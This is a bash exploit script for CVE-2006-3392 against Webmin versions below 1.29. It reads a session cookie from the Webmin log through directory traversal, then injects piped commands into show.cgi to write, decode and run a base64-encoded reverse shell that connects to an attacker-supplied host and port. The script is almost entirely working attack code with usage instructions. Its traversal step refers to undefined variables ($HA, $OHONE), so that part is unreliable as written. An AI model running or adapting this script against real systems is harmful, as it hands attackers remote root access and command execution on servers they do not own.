CVE-2006-3392 Exploit Code

#!/bin/bash
# Author: oxagast / Marshall Whittaker
# marshall@oxagast.org
# Thanks: enki
#
# girl i know you like this eggplant
# CVE-2006-3392
# https://oxasploits.com/posts/exploit-archive-partial-disclosure/

HOST=$1
PORT=$2
LHOST=$3
LPORT=$4
if [ $# -lt 4 ]; then
  echo "Webmin <1.29 remote root exploit by oxagast"
  echo "Priv esc by directory transversal to find cookie in logfile file as root, then session highjack into RCE."
  echo "Thanks to UmZ for directory transversal attack; greets to enki for asking me to try this!"
  echo "Usage:"
  echo "  nc -l -p 7777"
  echo "  $0 10.0.0.4 10000 10.0.0.3 7777"
else
  CMD=$(echo "bash -p -i >& /dev/tcp/$LHOST/$LPORT 0>&1" | base64)
  echo $CMD
  CMD0="echo $CMD > /tmp/b64s"
  CMD1='base64 -d /tmp/b64s > /tmp/she11'
  CMD2='chmod a+x /tmp/she11'
  CMD3='/bin/bash /tmp/she11'
  echo "Webmin <1.29 remote root exploit by oxagast"
  echo "Server: $HOST:$PORT"
  echo "Getting cookie from webmin log..."
  for i in {1..20}; do
    ONONE=$OHONE"..%01"
  done
  SID=$(curl $HOST:$PORT/unauthenticated/$HA/var/webmin/webmin.log -s | tail -n 1 | cut -f 5 -d ' ' | tr -d '\n')
  echo "Setting cookie to: sid=$SID"
  echo "Copying base64 encoded shell..."

  UA='User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
  ACCEPT='Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
  LANG='Accept-Language: en-US,en;q=0.5'
  CONN='Connection: keep-alive'
  UPG='Upgrade-Insecure-Requests: 1'
  COOK="Cookie: testing=1; sid=$SID"

  curl --header "Host: $HOST:$PORT" --header $UA --header $ACCEPT --header $LANG --header $CONN --header $UPG --header $COOK "$HOST:$PORT/file/show.cgi/bin/AAAF0|$CMD0|" -s -L
  sleep 1
  echo "Debase64ing shell..."
  curl --header "Host: $HOST:$PORT" --header $UA --header $ACCEPT --header $LANG --header $CONN --header $UPG --header $COOK "$HOST:$PORT/file/show.cgi/bin/AAAF0|$CMD1|" -s -L
  sleep 1
  echo "Chmodding shell..."
  curl --header "Host: $HOST:$PORT" --header $UA --header $ACCEPT --header $LANG --header $CONN --header $UPG --header $COOK "$HOST:$PORT/file/show.cgi/bin/AAAF0|$CMD2|" -s -L
  sleep 1
  echo "Trying to spawn..."
  curl --header "Host: $HOST:$PORT" --header $UA --header $ACCEPT --header $LANG --header $CONN --header $UPG --header $COOK "$HOST:$PORT/file/show.cgi/bin/AAAF0|$CMD3|" -s -L
fi